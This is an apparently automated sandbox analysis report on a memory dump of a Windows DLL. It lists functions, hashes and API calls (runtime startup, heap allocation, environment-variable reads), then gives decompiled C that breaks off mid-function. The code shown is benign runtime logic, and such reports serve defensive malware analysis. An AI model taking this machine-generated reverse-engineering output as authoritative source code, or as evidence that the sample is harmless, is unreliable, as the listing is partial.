Opcode ID: 4c428e21f60c947a504f4a75f53da7da6b2e5b02e6edf6ca9327752ca551f85c
Instruction ID: 397f8b2a4a4b2634dddc3680e38eb0e2ae6c92ebff7d4b1539963bb4ebf1368b
Opcode Fuzzy Hash: 4c428e21f60c947a504f4a75f53da7da6b2e5b02e6edf6ca9327752ca551f85c
Instruction Fuzzy Hash: 12518970600B408FD3248F68D984B57BBF8FF59318F108A2DD9968BA65E734F5058B90

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA21B, Relevance: 10.6, APIs: 7, Instructions: 136COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E7BA262
___scrt_uninitialize_crt.LIBCMT ref: 6E7BA27C

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: fe0ab5cd7454d1564b97d9a569f59f8530b46da1b727c4d283d6ae2615adb3bd
Instruction ID: 09e59c9822cd4f93c0057b765c6c7dc6f4a87fb930abc7ef0f8261311351e77d
Opcode Fuzzy Hash: fe0ab5cd7454d1564b97d9a569f59f8530b46da1b727c4d283d6ae2615adb3bd
Instruction Fuzzy Hash: E641D272D04615EFDB51AFD8CE04BEE3BB9EB81BA4F004929F81557260D7318D418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA2CB, Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

dllmain_raw.LIBCMT ref: 6E7BA308
dllmain_crt_dispatch.LIBCMT ref: 6E7BA31F
dllmain_raw.LIBCMT ref: 6E7BA367
dllmain_crt_dispatch.LIBCMT ref: 6E7BA37A
dllmain_raw.LIBCMT ref: 6E7BA38D

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: d3028fbe08cd61ab4dfd8971339996b50079ef575c7ff6d8b18df64256fc3b78
Instruction ID: 4c2541d02c8c01ac0656d236f2571d2b6239d3d767cb0e63d3cd0b9dce91c622
Opcode Fuzzy Hash: d3028fbe08cd61ab4dfd8971339996b50079ef575c7ff6d8b18df64256fc3b78
Instruction Fuzzy Hash: 12216B72D00619ABDB61AFD9CA44AAF3A6AEB81B94F014525FC2557260D3318D518BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC460, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6E7AC465
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6E7AC475

Strings

WakeByAddressSingle, xrefs: 6E7AC46F
api-ms-win-core-synch-l1-2-0, xrefs: 6E7AC460

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: e43edb387a3534e12e8439f0274eef2ba77c44b5aa36fe3323857dbc3a323caa
Instruction ID: 1927642f656428aee452ce5113f2a43eea6ee67fd4826fc11dce86d874a20475
Opcode Fuzzy Hash: e43edb387a3534e12e8439f0274eef2ba77c44b5aa36fe3323857dbc3a323caa
Instruction Fuzzy Hash: 0AB092716089016AAE94AAF15F0CA16392CAAC2B1670045B463A2D95A1EB209140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7AC4E0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6E7AC4E5
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6E7AC4F5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6E7AC4E0
WaitOnAddress, xrefs: 6E7AC4EF

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: e2f67aa9095231bb5eb420b7cf978aa9bc776130c0c91c5bc88af790b2613aff
Instruction ID: d51d90ce4776bbfc3fcb56c6891cfdea550270ba1a26f100c6fafe2c42ea64e3
Opcode Fuzzy Hash: e2f67aa9095231bb5eb420b7cf978aa9bc776130c0c91c5bc88af790b2613aff
Instruction Fuzzy Hash: 1DB092726089026AAEA4AAF25F0CA16392CAB91B1A70185746662E9561EB20D140AD29

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C1AA1, Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E7C1AA9

Part of subcall function 6E7C19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6E7C3B22,?,00000000,-00000008), ref: 6E7C1A5F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E7C1AE1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E7C1B01

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: a1bd96984f4fa6f7933df4f467cbfe0962d8058d67bd3d82b3af6b6d72f2d5e1
Instruction ID: 8f1e4c0aa91dbf6bf0a0e4d380824c9a51f24f11ffc7ea9c7036f8bfcddc7503
Opcode Fuzzy Hash: a1bd96984f4fa6f7933df4f467cbfe0962d8058d67bd3d82b3af6b6d72f2d5e1
Instruction Fuzzy Hash: 0711E1E15055197F6B015FF65E8DCAF69BCDE4AB983000835F90192110FA60DE0549B2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BA114, Relevance: 3.1, APIs: 2, Instructions: 76COMMON

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 6E7BA161

Part of subcall function 6E7BA7ED: InitializeSListHead.KERNEL32(6E7FB140,6E7BA16B,6E7F7D60,00000010,6E7BA0FC,?,?,?,6E7BA324,?,00000001,?,?,00000001,?,6E7F7DA8), ref: 6E7BA7F2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E7BA1CB

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 664c7adadad932cb74e4fd3355e15ec5bd0317e1986ef2d36d2f38f400c17cf4
Instruction ID: 6850a65f00cd4c23d3906ac13f40145c3cc6b637d40822ad529482da0bf911bc
Opcode Fuzzy Hash: 664c7adadad932cb74e4fd3355e15ec5bd0317e1986ef2d36d2f38f400c17cf4
Instruction Fuzzy Hash: D921F0315446899FEB91BFF89B087DC37A99F0272CF100C29C4652B2F1DB321145CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C209C, Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E7C20E8
GetFileType.KERNELBASE(00000000), ref: 6E7C20FA

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 0061cbec34bb0a72c0ef6a37a79ac43d0e41aa4cb9752e6a4ecea1cd06315a45
Instruction ID: f2113bc267270a0173edef86cbe4a85d3d362dd8a82e329ca8156fc622672526
Opcode Fuzzy Hash: 0061cbec34bb0a72c0ef6a37a79ac43d0e41aa4cb9752e6a4ecea1cd06315a45
Instruction Fuzzy Hash: FF11E771108F824FD7304D7E9E946127A9DAB57B70B24272AE2BA931F1C630D4C2CA43

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BCCF1, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6E7BF75B,?,?,?,?,?,?,00000000,?,00000000,?,?,6E7C27EE,?,}&|n), ref: 6E7BF57F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 78515c237e11eb70943db521d45515f3505c9c70476c4dff27226751952d8715
Instruction ID: 511123a20cbc7e91421fb576fae81611ef10ba75e2cdce9c9939fbe2779b8ddc
Opcode Fuzzy Hash: 78515c237e11eb70943db521d45515f3505c9c70476c4dff27226751952d8715
Instruction Fuzzy Hash: D5E0866538074B69FE591EF01F2EBA7264D2F55F0CF6405386B28EC1E1EFA092429553

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BF563, Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,6E7BF75B,?,?,?,?,?,?,00000000,?,00000000,?,?,6E7C27EE,?,}&|n), ref: 6E7BF57F

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 6103bed9125b0b4913a9780f19a3d0c8dd8686e0f91810e01c84a600b210b2ae
Instruction ID: 4e322244aa9ab99e9233d307f5494022d9193bc1603803314cd3f239dfd69221
Opcode Fuzzy Hash: 6103bed9125b0b4913a9780f19a3d0c8dd8686e0f91810e01c84a600b210b2ae
Instruction Fuzzy Hash: 5BE0C265380B4B6AFA181EF01F1EB972A4D1F05F0CF2005386718AC0E2EFE052829553

Uniqueness

Uniqueness Score: -1.00%

Function 6E7C0566, Relevance: 1.3, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000008,?,?,?,6E7C017F,00000001,00000364,?,FFFFFFFF,000000FF,?,?,6E7BA44C,?,?,6E7B99B4), ref: 6E7C05A7

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 233a337ef77bb0fcbdb3a0eaf69e023da8c55441ab21f704e8d5dc852a1bb598
Instruction ID: fd6a9b42b82df76e1bb7e43d3d4152f6ebb582146a2816768bb5052372d61424
Opcode Fuzzy Hash: 233a337ef77bb0fcbdb3a0eaf69e023da8c55441ab21f704e8d5dc852a1bb598
Instruction Fuzzy Hash: 8FF0B4716486256FAB515EF6BF18E8A374CDB41F60B004131EC24E71A4EB30EA41AAE2

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BFC29, Relevance: 1.3, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,?,?,?,6E7BA44C,?,?,6E7B99B4,00000400,FFFDD001,?,?,?), ref: 6E7BFC5B

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 6f1ab042ffd1154298b3332b0f9e51d27702b7952d3024d1a75a2a5a834fe9e1
Instruction ID: 5878fbf4750c3d81161329b05bd6477822c1ac612f805a4c70e25e0580e75809
Opcode Fuzzy Hash: 6f1ab042ffd1154298b3332b0f9e51d27702b7952d3024d1a75a2a5a834fe9e1
Instruction Fuzzy Hash: 60E065392496166BEA591EE65F08BA6764CDF42FA4F310530ECA4D76B4CF30D48047A1

Uniqueness

Uniqueness Score: -1.00%

Function 6E7BFBCA, Relevance: 1.3, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,6E7BE812,00000000,6E7F7FB8,0000000C,6E7BE7D9,?,?,6E7C0599,?,?,6E7C017F,00000001,00000364,?), ref: 6E7BFBD9

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: e056fb65cd84116cae5c0f9a1939ee077f9aba88993a3d7663ed6fb422849b53
Instruction ID: f9855a2230dbf0d8f33e7b941ad276b0c1c58bc27aff2cba9769f6b1b65f8963
Opcode Fuzzy Hash: e056fb65cd84116cae5c0f9a1939ee077f9aba88993a3d7663ed6fb422849b53
Instruction Fuzzy Hash: E0B09B73444308D78F005995DD4D8557F5CD5D15117544011F40D87121D931F7514595

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6E7AD530, Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 445
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 81%

			E6E7AD530(signed int __ebx, long* __ecx, signed int __edi, long __esi, char _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				long _v40;
				void* _v44;
				void* _v48;
				long _v52;
				signed int _v56;
				void* _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long* _v76;
				signed int _v80;
				signed int _v1096;
				long _v1100;
				void* _v1104;
				void* __ebp;
				void* _t142;
				void* _t143;
				void* _t148;
				signed int _t149;
				intOrPtr _t151;
				void* _t155;
				void* _t157;
				signed int _t158;
				signed int _t160;
				void** _t161;
				void* _t167;
				long _t171;
				signed int _t172;
				long _t173;
				void* _t179;
				void* _t181;
				long _t194;
				signed int _t195;
				signed char _t196;
				signed int _t199;
				signed int _t200;
				signed int _t211;
				signed int _t213;
				signed int _t214;
				void* _t218;
				intOrPtr _t220;
				signed int _t223;
				intOrPtr* _t224;
				intOrPtr _t226;
				signed int _t228;
				char* _t229;
				signed int _t230;
				signed int _t232;
				signed int _t238;
				signed int _t241;
				signed int _t242;
				WCHAR* _t247;
				long _t248;
				signed int _t249;
				signed int _t252;
				char* _t264;
				void* _t265;
				void* _t267;
				void* _t268;
				signed char* _t273;
				signed int _t274;
				void* _t280;
				intOrPtr _t281;

				_t262 = __esi;
				_t245 = __edi;
				_t192 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t281 = _t280 - 0x440;
				_v32 = _t281;
				_v20 = 0xffffffff;
				_v24 = E6E7B3B80;
				_v76 = __ecx;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t142 =  *0x6e7fadc8; // 0x11e0000
				if(_t142 != 0) {
					L3:
					_t143 = HeapAlloc(_t142, 0, 0xa);
					if(_t143 == 0) {
						goto L94;
					} else {
						_t264 = "UST_BACKTRACE";
						_t241 = 1;
						_t211 = 0;
						 *_t143 = 0x52;
						_v1104 = _t143;
						_v1100 = 5;
						_v1096 = 1;
						_v44 = 0;
						while(1) {
							_v36 = _t211;
							if(_t211 == 0) {
								goto L10;
							}
							_v44 = 0;
							_t211 = 0;
							if(_t241 != _v1100) {
								L6:
								_t245 = _v36;
								 *((short*)(_t143 + _t241 * 2)) = _v36;
								_t241 = _t241 + 1;
								_v1096 = _t241;
								continue;
							} else {
								L13:
								_v40 = _t264;
								_v20 = 0;
								_v48 = _t241;
								_t188 =  <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11;
								_t189 = ( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2;
								asm("sbb eax, 0x0");
								_t190 = (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2;
								E6E7C7370( &_v1104, _t241, (( <  ? 0xffffffff : "RUST_BACKTRACE" - _t264 + 0x11) >> 2) + 2);
								_t281 = _t281 + 4;
								_t143 = _v1104;
								_t241 = _v48;
								_t264 = _v40;
								_t211 = _v44;
								goto L6;
							}
							L10:
							__eflags = _t264 - 0x6e7ed2be;
							if(_t264 != 0x6e7ed2be) {
								_t196 =  *_t264 & 0x000000ff;
								_t229 =  &(_t264[1]);
								_t249 = _t196 & 0x000000ff;
								__eflags = _t196;
								if(_t196 < 0) {
									_v36 = _t249 & 0x0000001f;
									__eflags = _t229 - 0x6e7ed2be;
									if(_t229 == 0x6e7ed2be) {
										_t230 = 0;
										__eflags = _t196 - 0xdf;
										_t252 = 0;
										_v40 = 0x6e7ed2be;
										if(_t196 > 0xdf) {
											goto L25;
										} else {
											_v36 = _v36 << 6;
											_t264 = 0x6e7ed2be;
											_t211 = 0;
											__eflags = _t241 - _v1100;
											if(_t241 != _v1100) {
												goto L6;
											} else {
												goto L13;
											}
										}
									} else {
										_t238 = _t264[1] & 0x000000ff;
										_t264 =  &(_t264[2]);
										_t230 = _t238 & 0x0000003f;
										__eflags = _t196 - 0xdf;
										if(_t196 <= 0xdf) {
											_t199 = _v36 << 0x00000006 | _t230;
											__eflags = _t199 - 0xffff;
											if(_t199 > 0xffff) {
												goto L32;
											} else {
												goto L22;
											}
										} else {
											__eflags = _t264 - 0x6e7ed2be;
											if(_t264 == 0x6e7ed2be) {
												_t252 = 0;
												__eflags = 0;
												_v40 = 0x6e7ed2be;
											} else {
												_v40 =  &(_t264[1]);
												_t252 =  *_t264 & 0x3f;
											}
											L25:
											_t232 = _t230 << 0x00000006 | _t252;
											__eflags = _t196 - 0xf0;
											if(_t196 < 0xf0) {
												_t199 = _v36 << 0x0000000c | _t232;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 > 0xffff) {
													goto L32;
												} else {
													goto L22;
												}
											} else {
												_t273 = _v40;
												__eflags = _t273 - 0x6e7ed2be;
												if(_t273 == 0x6e7ed2be) {
													_t274 = 0;
													__eflags = 0;
													_v40 = 0x6e7ed2be;
												} else {
													_v40 =  &(_t273[1]);
													_t274 =  *_t273 & 0x3f;
												}
												_t199 = _t232 << 0x00000006 | (_v36 & 0x00000007) << 0x00000012 | _t274;
												_t264 = _v40;
												__eflags = _t199 - 0xffff;
												if(_t199 <= 0xffff) {
													L22:
													_v36 = _t199;
													_t211 = 0;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												} else {
													L32:
													_t200 = _t199 + 0xffff0000;
													_v40 = _t264;
													_v36 = _t200 >> 0x0000000a | 0x0000d800;
													_t264 = _v40;
													_t211 = _t200 & 0x000003ff | 0x0000dc00;
													_v44 = _t211;
													__eflags = _t241 - _v1100;
													if(_t241 != _v1100) {
														goto L6;
													} else {
														goto L13;
													}
												}
											}
										}
									}
								} else {
									_t264 = _t229;
									_v36 = _t249;
									_t211 = 0;
									__eflags = _t241 - _v1100;
									if(_t241 != _v1100) {
										goto L6;
									} else {
										goto L13;
									}
								}
								goto L96;
							}
							_t242 = _v1096;
							asm("movsd xmm0, [ebp-0x44c]");
							_v64 = _t242;
							asm("movsd [ebp-0x44], xmm0");
							__eflags = _t242 - 8;
							_t213 = _t242;
							_t148 = _v72;
							_t265 = _t148;
							if(_t242 < 8) {
								L45:
								_t214 = _t213 + _t213;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									__eflags = _t214;
									if(_t214 == 0) {
										break;
									}
									_t214 = _t214 + 0xfffffffe;
									__eflags =  *_t265;
									_t265 = _t265 + 2;
									if(__eflags != 0) {
										continue;
									} else {
										goto L48;
									}
									goto L96;
								}
								__eflags = _t242 - _v68;
								if(_t242 == _v68) {
									_v20 = 1;
									E6E7C7370( &_v72, _t242, 1);
									_t281 = _t281 + 4;
									_t148 = _v72;
									_t242 = _v64;
								}
								 *((short*)(_t148 + _t242 * 2)) = 0;
								asm("movsd xmm0, [ebp-0x44]");
								asm("movsd [ebp-0x38], xmm0");
								_t149 = _v60;
								__eflags = _t149;
								_v36 = _t149;
								if(_t149 == 0) {
									goto L75;
								} else {
									_v80 = _v56;
									E6E7BC310(_t245,  &_v1104, 0, 0x400);
									_t281 = _t281 + 0xc;
									_t155 =  *0x6e7ed0bc; // 0x2
									_t194 = 0x200;
									_t262 = 0;
									_v60 = _t155;
									_v56 = 0;
									_v48 = _t155;
									_v52 = 0;
									__eflags = 0x200 - 0x201;
									if(0x200 >= 0x201) {
										L65:
										_t157 = _t194 - _t262;
										__eflags = _v56 - _t262 - _t157;
										if(_v56 - _t262 < _t157) {
											_v44 = _t194;
											_v20 = 5;
											E6E7C7370( &_v60, _t262, _t157);
											_t281 = _t281 + 4;
											_t194 = _v44;
											_v48 = _v60;
										}
										_t247 = _v48;
										_t262 = _t194;
										_v52 = _t194;
										_v40 = _t194;
									} else {
										L68:
										_t247 =  &_v1104;
										_v40 = 0x200;
									}
									L69:
									_v44 = _t247;
									SetLastError(0);
									_t158 = GetEnvironmentVariableW(_v36, _t247, _t194);
									_t245 = _t158;
									__eflags = _t158;
									if(_t158 != 0) {
										L71:
										__eflags = _t245 - _t194;
										if(_t245 != _t194) {
											L63:
											__eflags = _t245 - _t194;
											_t192 = _t245;
											if(_t245 < _t194) {
												_t239 = _v40;
												_v20 = 5;
												__eflags = _t245 - _v40;
												if(__eflags > 0) {
													goto L95;
												} else {
													_push(_t245);
													E6E7B0EC0(_t192,  &_v72, _v44, _t245, _t262);
													_t281 = _t281 + 4;
													_t218 = _v72;
													_t248 = _v68;
													_t262 = _v64;
													_t195 = 0;
													_t160 = _v56;
													__eflags = _t160;
													if(_t160 != 0) {
														goto L81;
													} else {
													}
													goto L84;
												}
											} else {
												__eflags = _t192 - 0x201;
												if(_t192 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										} else {
											_t171 = GetLastError();
											__eflags = _t171 - 0x7a;
											if(_t171 != 0x7a) {
												goto L63;
											} else {
												_t194 = _t194 + _t194;
												__eflags = _t194 - 0x201;
												if(_t194 < 0x201) {
													goto L68;
												} else {
													goto L65;
												}
												goto L69;
											}
										}
									} else {
										_t172 = GetLastError();
										__eflags = _t172;
										if(_t172 != 0) {
											_t195 = 1;
											_t173 = GetLastError();
											_t218 = 0;
											_t248 = _t173;
											_t160 = _v56;
											__eflags = _t160;
											if(_t160 != 0) {
												L81:
												__eflags = _v48;
												if(_v48 != 0) {
													__eflags = _t160 & 0x7fffffff;
													if((_t160 & 0x7fffffff) != 0) {
														_v44 = _t218;
														HeapFree( *0x6e7fadc8, 0, _v48);
														_t218 = _v44;
													}
												}
											}
											L84:
											__eflags = _t195;
											if(_t195 == 0) {
												_t161 = _v76;
												 *_t161 = _t218;
												_t161[1] = _t248;
												_t161[2] = _t262;
											} else {
												__eflags = _t218 - 3;
												 *_v76 = 0;
												if(_t218 == 3) {
													_v20 = 4;
													_v44 = _t248;
													 *((intOrPtr*)( *((intOrPtr*)(_t248 + 4))))( *_t248);
													_t281 = _t281 + 4;
													_t267 = _v44;
													_t220 =  *((intOrPtr*)(_t267 + 4));
													__eflags =  *(_t220 + 4);
													if( *(_t220 + 4) != 0) {
														_t167 =  *_t267;
														__eflags =  *((intOrPtr*)(_t220 + 8)) - 9;
														if( *((intOrPtr*)(_t220 + 8)) >= 9) {
															_t167 =  *(_t167 - 4);
														}
														HeapFree( *0x6e7fadc8, 0, _t167);
													}
													HeapFree( *0x6e7fadc8, 0, _t267);
												}
											}
											__eflags = _v80 & 0x7fffffff;
											if((_v80 & 0x7fffffff) != 0) {
												HeapFree( *0x6e7fadc8, 0, _v36);
											}
											goto L76;
										} else {
											goto L71;
										}
									}
								}
							} else {
								_t228 = _t242;
								_t268 = _t148;
								while(1) {
									__eflags =  *_t268;
									if( *_t268 == 0) {
										break;
									}
									__eflags =  *((short*)(_t268 + 2));
									if( *((short*)(_t268 + 2)) == 0) {
										break;
									} else {
										__eflags =  *((short*)(_t268 + 4));
										if( *((short*)(_t268 + 4)) == 0) {
											break;
										} else {
											__eflags =  *((short*)(_t268 + 6));
											if( *((short*)(_t268 + 6)) == 0) {
												break;
											} else {
												__eflags =  *((short*)(_t268 + 8));
												if( *((short*)(_t268 + 8)) == 0) {
													break;
												} else {
													__eflags =  *((short*)(_t268 + 0xa));
													if( *((short*)(_t268 + 0xa)) == 0) {
														break;
													} else {
														__eflags =  *((short*)(_t268 + 0xc));
														if( *((short*)(_t268 + 0xc)) == 0) {
															break;
														} else {
															__eflags =  *((short*)(_t268 + 0xe));
															if( *((short*)(_t268 + 0xe)) == 0) {
																break;
															} else {
